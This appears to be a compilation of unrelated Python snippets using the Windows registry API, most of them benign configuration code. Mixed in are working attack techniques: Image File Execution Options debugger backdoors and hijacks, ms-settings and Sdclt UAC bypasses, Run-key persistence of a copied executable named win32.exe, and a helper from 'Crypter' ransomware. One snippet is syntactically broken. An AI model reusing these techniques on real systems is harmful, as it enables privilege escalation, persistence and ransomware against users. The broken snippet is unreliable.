def install_backdoor(path): fileName = os.path.basename(path).strip(' ') print("Adding " + fileName + " backdoor to registry.") try: key = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, path) try: winreg.SetValueEx(key, 'Debugger', 0, winreg.REG_SZ, cmdPath) except Exception as e: print(e) print( "Error: Could not create subkey. Please run with Administrator privileges." ) except Exception as e: print(e) print( "Error: Could not create key. Please run with Administrator privileges." )
def __createRefToManifest(manifestName, pathToManifest): import platform import winreg if platform.system() == "Windows": key = winreg.CreateKey( winreg.HKEY_CURRENT_USER, str( Path("SOFTWARE", "Mozilla", "NativeMessagingHosts", manifestName)), ) winreg.SetValueEx(key, None, 0, winreg.REG_SZ, str(pathToManifest.resolve())) key.Close() else: raise NotImplementedError( "The build step currently only works on Windows")
def _admin(cmd): try: winreg.CreateKey(winreg.HKEY_CURRENT_USER, r"Software\Classes\ms-settings\shell\open\command") rk = winreg.OpenKey( winreg.HKEY_CURRENT_USER, r"Software\Classes\ms-settings\shell\open\command", 0, winreg.KEY_WRITE) winreg.SetValueEx(rk, "DelegateExecute", 0, winreg.REG_SZ, "") winreg.CloseKey(rk) rk = winreg.OpenKey( winreg.HKEY_CURRENT_USER, r"Software\Classes\ms-settings\shell\open\command", 0, winreg.KEY_WRITE) winreg.SetValueEx(rk, None, 0, winreg.REG_SZ, cmd) winreg.CloseKey(rk) except WindowsError: raise
def add_process(self, process_id): """Adds a new process. :param process_id id of the process to add """ if not self._is_admin: return # Remove any existing processes belonging to Gremlin instances for pid in self._get_gremlin_process_ids(): self.remove_process(pid) # Ensure the process key exists and write the identifying value handle = winreg.CreateKey( winreg.HKEY_LOCAL_MACHINE, "{}\{}".format(HidGuardian.process_path, process_id)) winreg.SetValueEx(handle, "Joystick Gremlin", 0, winreg.REG_DWORD, 1) self._synchronize_process(process_id)
def install_windows(): (conf_filename, script_filename) = install_x(FOLDER_WINDOW, WIN_BAT_FILE) bat_file = os.path.join(FOLDER_WINDOW, WIN_BAT_FILE) print('Init Bat File ' + bat_file) with open(bat_file, 'w') as fh: fh.write( BAT_FILE_SCRIPT.format(executable=sys.executable, py_script=script_filename)) add_install_step(INS_NEW_FILE, bat_file) print('Init Registry Key') import winreg reg_key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, WIN_REG_KEY) winreg.SetValueEx(reg_key, None, 0, winreg.REG_SZ, conf_filename) add_install_step(INS_NEW_REG, WIN_REG_KEY)
def set_usr_reg(name, value, REG_PATH): # REGPATH MUST BE RAW STRING """ Set the input local registry key """ try: print('SET_REG >> SET [', REG_PATH, '] KEY "', name,'" TO', value) winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value) winreg.CloseKey(registry_key) return True except WindowsError as e: print(e) return None
def set_reg(self, name, value): import winreg """ sets a registry value :param name: :param value: :return: """ try: winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REG_PATH) registry_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, self.REG_PATH, 0, winreg.KEY_WRITE) winreg.SetValueEx(registry_key, name, 0, winreg.REG_DWORD, value) winreg.CloseKey(registry_key) return True except WindowsError: print(WindowsError) return False
def install(): import sys try: import winreg as _winreg except: import _winreg this_file = os.path.realpath(__file__) install_path = os.path.dirname(this_file) manifest = { 'name': 'open_with', 'description': 'Open With native host', 'path': this_file, 'type': 'stdio', } manifest['path'] = filename = os.path.join(install_path, 'open_with.bat') with open(filename, 'w') as file: file.write('@echo off\r\ncall "%s" "%s" %%1 %%2\r\n' % (sys.executable, this_file)) registry_locations = { 'chrome': os.path.join('Software', 'Google', 'Chrome', 'NativeMessagingHosts'), 'firefox': os.path.join('Software', 'Mozilla', 'NativeMessagingHosts'), } for browser, registry_location in registry_locations.items(): browser_manifest = manifest.copy() if browser == 'firefox': browser_manifest['allowed_extensions'] = ['*****@*****.**'] else: browser_manifest['allowed_origins'] = [ 'chrome-extension://cogjlncmljjnjpbgppagklanlcbchlno/', # Chrome 'chrome-extension://fbmcaggceafhobjkhnaakhgfmdaadhhg/', # Opera ] filename = os.path.join(install_path, 'open_with_%s.json' % browser) with open(filename, 'w') as file: file.write( json.dumps(browser_manifest, indent=2, separators=(',', ': '), sort_keys=True).replace(' ', '\t') + '\n' ) key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, registry_location) _winreg.SetValue(key, 'open_with', _winreg.REG_SZ, filename)
def readShimCache(daysOfData): #Check for all programs recorded in the App Compatibility Cache (shim cache). #Results are in the form: Modification date : Path #What about execution flag? print( "(Experimental) Attempting enumeration of the SHIM Cache (Experimental)" ) print("--- UTC Modification Time : Path") try: checkKey = winreg.CreateKey( winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache' ) except: print( "Shim Cache not in expected Key. Other Keys and OS Version Support under development.\n" ) entrylist = [] shim = winreg.EnumValue(checkKey, 0)[1] cache_data = shim[0x34:] data = io.BytesIO(cache_data) while data.tell() < len(cache_data): header = data.read(12) magic, crc32_hash, entry_len = struct.unpack('<4sLL', header) entry_data = io.BytesIO(data.read(entry_len)) path_len = struct.unpack('<H', entry_data.read(2))[0] if path_len == 0: path = 'None' else: path = entry_data.read(path_len).decode('utf-16le', 'replace').encode('utf-8') low_datetime, high_datetime = struct.unpack('<LL', entry_data.read(8)) adjustedTimes = (high_datetime << 32) | low_datetime #Windows uses January 1, 1601 as start time. Get number of microseconds from then to given number of days ago. timeRange = (timedelta(days=(152539 - daysOfData)).total_seconds()) * 1000000 if adjustedTimes / 10 > timeRange: row = [adjustedTimes, path.decode()] entrylist.append(row) else: continue #Need to sort dates appropriately as time-order is not maintained in the cache return sorted(entrylist)
def checkRunKeys(hive, name): #Check the Run and RunOnce keys in the given Hive and print results to screen #Results will be in the form 'Program Name: Program Path of Execution' keys = [ 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce' ] for k in keys: checkKey = winreg.CreateKey(hive, k) print("Attempting enumeration of {0}\\{1}".format(name, k)) print("--- Program Name: Command Line") numValues = winreg.QueryInfoKey(checkKey)[1] if numValues > 0: for index in range(numValues): nameKey = winreg.EnumValue(checkKey, index) print("--- {0}: {1}".format(nameKey[0], nameKey[1])) print("Key Complete\n") else: print("No Values in this Key\n")
def registerstart(): nowdir = os.path.abspath(sys.executable)[9:] user = os.path.abspath(sys.executable)[9:nowdir.find('\\') + 9] try: shutil.copy2(os.path.abspath(sys.executable), 'c:\\Users\\' + user + '\\win32.exe') except OSError: pass H_KEY = winreg.HKEY_CURRENT_USER reg_path = r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' registry = winreg.ConnectRegistry(None, H_KEY) keyval = winreg.CreateKey(registry, reg_path) winreg.SetValueEx(keyval, 'win32i', 0, winreg.REG_SZ, '"' + 'c:\\Users\\' + user + '\\win32.exe"') winreg.CloseKey(keyval) winreg.CloseKey(registry)
def create(self): """ Create key. If already exists, does nothing. """ # Get key for this version reg = self._reg() if reg: winreg.CloseKey(reg) #print('Unable to create Python version %s: already exists.' % self.version()) else: # Try to create try: reg = winreg.CreateKey(self._root(), self._key) winreg.CloseKey(reg) except Exception: raise RuntimeError('Unable to create python version %s.' % self.version()) print('Created %s.' % str(self))
def image_hijack(self): dk=winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',0,winreg.KEY_SET_VALUE) key=input('你要劫持的程序名称>') value=input('要执行的程序>') try: winreg.CreateKey(dk,'{}'.format(key)) dk = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\{}'.format(key), 0,winreg.KEY_SET_VALUE) winreg.SetValueEx(dk, 'Debugger', '', winreg.REG_SZ, '{}'.format(value)) except: print('[-] 没有对应的权限,请以Administrator权限运行此脚本') i = 0 try: dr = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\{}'.format(key)) while True: name, value, zhi = winreg.EnumValue(dr, i) print('名称:{} 值:{} 类型:{}'.format(repr(name), value, zhi)) i += 1 except: pass
def DllRegisterServer(): comclass = IEToolbar # register toolbar with IE try: print("Trying to register Toolbar.\n") hkey = winreg.CreateKey( winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar") subKey = winreg.SetValueEx( hkey, comclass._reg_clsid_, 0, winreg.REG_BINARY, "\0") except WindowsError: print( "Couldn't set registry value.\nhkey: %d\tCLSID: %s\n" % (hkey, comclass._reg_clsid_)) else: print( "Set registry value.\nhkey: %d\tCLSID: %s\n" % (hkey, comclass._reg_clsid_))
def load_reg(input_file): lines = open(input_file, encoding='utf-16-le').read().splitlines() hkey = None for line in lines: if line.startswith('[HKEY'): hkey = line[1:-1] toplevel, sub_key = hkey.split('\\', maxsplit=1) top = getattr(winreg, toplevel) hkey = winreg.CreateKey(top, sub_key) print(f'inkey: {hkey}') continue if hkey is None: continue # Parse and load name, value = line.split('=') name = name.replace('"', '') value = value.replace('"', '') winreg.SetValueEx(hkey, name, 0, winreg.REG_SZ, value)
def key_handle_test_all_access() -> Generator[winreg.HKEYType, None, None]: reg_handle = winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) key_handle = winreg.CreateKey(reg_handle, "Software\\lib_registry_test") key_handle_read_only = winreg.OpenKeyEx(key_handle, "", 0, winreg.KEY_ALL_ACCESS) yield key_handle_read_only # teardown code try: winreg.DeleteKey(key_handle, "") # On Windows sometimes this Error occurs, if we try again to delete a key # that is already marked for deletion # OSError: [WinError 1018] except OSError as e: if hasattr(e, "winerror") and e.winerror == 1018: # type: ignore pass else: raise e winreg.CloseKey(key_handle)
def register(self): """ Registers the environment into the windows registry. :note: We're explictly writing the environment to the registry to facilitate sharing. See `How to share pyproj across team with custom environments <https://pytools.codeplex.com/workitem/2765>`_ for motivation. """ if not self.VSVersion: raise ValueError( 'Cannot register interpreter with invalid Visual Studio Version' ) regkey_name = self._regkey_name.format(VSVersion=self.VSVersion) try: vs_regkey_name = os.path.dirname(regkey_name) winreg.OpenKey(winreg.HKEY_CURRENT_USER, vs_regkey_name) except WindowsError as ex: raise ValueError( 'Cannot register interpreter with Visual Studio %s that is not installed.' % self.text(self.VSVersion)) interpreter_regkey_name = '{0}\\{{{1}}}'.format( regkey_name, self.lower(self.GUID)) try: regkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, interpreter_regkey_name) winreg.SetValueEx(regkey, 'Architecture', 0, winreg.REG_SZ, self.Architecture) winreg.SetValueEx(regkey, 'Description', 0, winreg.REG_SZ, self.Description) winreg.SetValueEx(regkey, 'InterpreterPath', 0, winreg.REG_SZ, self.InterpreterAbsPath) winreg.SetValueEx(regkey, 'LibraryPath', 0, winreg.REG_SZ, self.LibraryAbsPath) winreg.SetValueEx(regkey, 'Version', 0, winreg.REG_SZ, self.Version) winreg.SetValueEx(regkey, 'WindowsInterpreterPath', 0, winreg.REG_SZ, self.WindowsInterpreterAbsPath) winreg.SetValueEx(regkey, 'PathEnvironmentVariable', 0, winreg.REG_SZ, self.PathEnvironmentVariable) winreg.CloseKey(regkey) except WindowsError as ex: return False return True
def set_registry_key(name, value): """Sets registry name to value in HKEY_CURRENT_USER\REG_PATH. Args: name (string): Name of the registry key. value (string): The value of the registry key. Returns: bool: Returns True if sets the registry key, False otherwise """ try: winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE) winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value) winreg.CloseKey(registry_key) return True except WindowsError: return False
def get_file_types(): keys = {} length = winreg.QueryInfoKey(winreg.HKEY_CLASSES_ROOT)[0] for i in range(0, length): subkey = winreg.EnumKey(winreg.HKEY_CLASSES_ROOT, i) if subkey.startswith("."): theclass = winreg.CreateKey(winreg.HKEY_CLASSES_ROOT, subkey) keys[subkey] = {} try: keys[subkey]["content-type"] = winreg.QueryValueEx( theclass, "Content Type")[0] except Exception as e: pass try: keys[subkey]["perceived-type"] = winreg.QueryValueEx( theclass, "PerceivedType")[0] except Exception as e: pass return keys
def _bind_apk_right_menu(): if not ctypes.windll.shell32.IsUserAnAdmin(): ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__ + " --bind", None, 0) return with winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, r"*\shell") as key: print(key) with winreg.CreateKeyEx(key, "APK Parser", 0, winreg.KEY_SET_VALUE) as shell_key: icon_path = str( pathlib.Path(__file__).joinpath("../android.ico").resolve()) winreg.SetValueEx(shell_key, "Icon", 0, winreg.REG_SZ, icon_path) with winreg.CreateKey(shell_key, "command") as cmd_key: winreg.SetValue( cmd_key, "", 1, " ".join([ sys.executable.replace("python.exe", "pythonw.exe"), os.path.abspath(__file__), "--file", "\"%1\"" ]))
def create_key(self, path): """Create the key specified by the path. Args: path (str): Path to the registry key. :Design: If a creation error occurs, the user is notified. Returns: If created successfully, a ``winreg.CreateKey`` object is returned, otherwise ``None`` is returned. """ try: return wr.CreateKey(self._hkey, path) except WindowsError: _UI.print_error_windws() return None
def main(target_process=common.get_path("bin", "myapp.exe")): target_process = os.path.abspath(target_process) common.log("Bypass UAC via Sdclt to run %s" % target_process) hkey = winreg.CreateKey( winreg.HKEY_CURRENT_USER, "Software\\Classes\\exefile\\shell\\runas\\command") key_name = "IsolatedCommand" common.log("Setting %s registry key" % key_name) winreg.SetValueEx(hkey, key_name, 0, winreg.REG_SZ, target_process) common.log("Running Sdclt to bypass UAC") common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"]) common.log("Clearing registry keys", log_type="-") winreg.DeleteValue(hkey, "IsolatedCommand") winreg.DeleteKey(hkey, "") winreg.CloseKey(hkey)
def access_registry(save: Optional[dict] = None) -> Optional[dict]: reg_key: winreg.HKEYType = winreg.CreateKey(winreg.HKEY_CURRENT_USER, r'Software\TF2 Rich Presence') try: reg_key_data: dict = json.loads(winreg.QueryValue(reg_key, 'Settings')) except FileNotFoundError: # means that the key hasn't been initialized # assume no key means default settings. might not be true but whatever default_settings: dict = defaults() winreg.SetValue(reg_key, 'Settings', winreg.REG_SZ, json.dumps(default_settings, separators=(',', ':'))) reg_key_data: dict = default_settings if save: winreg.SetValue(reg_key, 'Settings', winreg.REG_SZ, json.dumps(save, separators=(',', ':'))) reg_key.Close() get.cache_clear() logger.Log.log_level_allowed.cache_clear() else: reg_key.Close() return reg_key_data
def loadQtStyle(): Qtstyle = 'White' if os.name == 'nt': try: hKey = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REGISTRY_KEY) winreg.QueryValue(hKey, "QTStyle") except OSError: hKey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, REGISTRY_KEY) winreg.SetValue(hKey, "QTStyle", winreg.REG_SZ, Qtstyle) return winreg.QueryValue(hKey, "QTStyle") winreg.CloseKey(hKey) else: config = configparser.ConfigParser() linuxPath = str(Path.home()) + LINUX_CONFIG_PATH if os.path.isfile(linuxPath + '/config.ini'): config.read(linuxPath + '/config.ini') if config.has_option('TodoTxtApp', 'QTStyle'): Qtstyle = config.get('TodoTxtApp', 'QTStyle') return Qtstyle
def main(): ### This sets up the registry for addition of new keys ### # Registry values are located in: # Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer # winreg.HKEY_CURRENT_USER is a winreg constant global blocked_apps hkey = winreg.HKEY_CURRENT_USER try: subKeyExplorer = winreg.openKey(hkey, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer") subKeyDisallow = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun") # Creating DWORD Value called DisallowRun with value of 1 winreg.SetValueEx( subKeyExplorer, "DisallowRun", 0, winreg.REG_DWORD, 1 ) # Creating a key called DisallowRun mainKey = winreg.CreateKey( hKey, subKeyDisallow ) except WindowsError: print("Could not create keys") # Creating a dictionary to hold each key and the number name associated with it add_new_app( "chrome.exe", "1") blocked_apps["1"] = "chrome.exe" delete_app( "chrome.exe" )
def get_start_time(self): ''' @summary: Get's Crypter's start time from the registry, or creates it if it doesn't exist @return: The time that the ransomware began it's encryption operation, in integer epoch form ''' # Try to open registry key try: reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) start_time = winreg.QueryValueEx(reg, "")[0] winreg.CloseKey(reg) # If failure, create the key except WindowsError: start_time = int(time.time()) reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) winreg.CloseKey(reg) return start_time
def EnableCrashDumpCollection(): """Tell Windows Error Reporting to record crash dumps so that we can diagnose linker crashes and other toolchain failures. Documented at: https://msdn.microsoft.com/en-us/library/windows/desktop/bb787181.aspx """ if sys.platform == 'win32' and os.environ.get('CHROME_HEADLESS') == '1': key_name = r'SOFTWARE\Microsoft\Windows\Windows Error Reporting' try: key = winreg.CreateKeyEx(winreg.HKEY_LOCAL_MACHINE, key_name, 0, winreg.KEY_WOW64_64KEY | winreg.KEY_ALL_ACCESS) # Merely creating LocalDumps is sufficient to enable the defaults. winreg.CreateKey(key, "LocalDumps") # Disable the WER UI, as documented here: # https://msdn.microsoft.com/en-us/library/windows/desktop/bb513638.aspx winreg.SetValueEx(key, "DontShowUI", 0, winreg.REG_DWORD, 1) # Trap OSError instead of WindowsError so pylint will succeed on Linux. # Catching errors is important because some build machines are not elevated # and writing to HKLM requires elevation. except OSError: pass
def install(self): import winreg key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.keyname) winreg.SetValue(key, None, winreg.REG_SZ, self.jsonpath) f = open(self.cmdpath, 'w') f.write('@echo off\n') f.write('"%s" "%s"\n' % (sys.executable, SCRIPT)) f.close() f = open(self.jsonpath, 'w') f.write( json.dumps({ 'name': 'navigation_log', 'description': 'Store navigation events to an Sqlite database', 'path': self.cmdpath, 'type': 'stdio', 'allowed_extensions': ['navigation_log@prekageo'] })) f.close()
def setwinreg(): """Write __version__ to windows registry for the PI UpdateFinder.""" if sys.platform not in ('win32', 'cygwin'): return try: import winreg # Python 3 except ImportError: import _winreg as winreg # Python 2 print('Updating Windows registry...') if 'PROCESSOR_ARCHITEW6432' in os.environ: key = r'SOFTWARE\Wow6432Node\PI\PIPython' else: key = r'SOFTWARE\PI\PIPython' reghandle = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE) keyhandle = winreg.CreateKey(reghandle, key) winreg.SetValueEx(keyhandle, 'KeyValue', None, winreg.REG_SZ, 'PIPython') winreg.SetValueEx(keyhandle, 'Version', None, winreg.REG_SZ, __version__) winreg.SetValueEx(keyhandle, 'Path', None, winreg.REG_SZ, sys.prefix) winreg.CloseKey(keyhandle) winreg.CloseKey(reghandle)
def open(self, keyhandle, keypath, flags = None): if self.keyhandle: self.close() root = winreg.ConnectRegistry(None, keyhandle) if type(keypath) == str: keypath = keypath.split('\\') nextKey = root if flags in (None, winreg.KEY_ALL_ACCESS): for subkey in keypath: try: nextKey = winreg.CreateKey(nextKey, subkey) except PermissionError: raise KeyError("cannot create subkey %s, you probably need elevation (admin rights)"% subkey) else: for subkey in keypath: try: nextKey = winreg.OpenKeyEx(nextKey, subkey) except: raise KeyError("key not found (readonly): %s in %s"% (subkey, keypath)) self.keyhandle = nextKey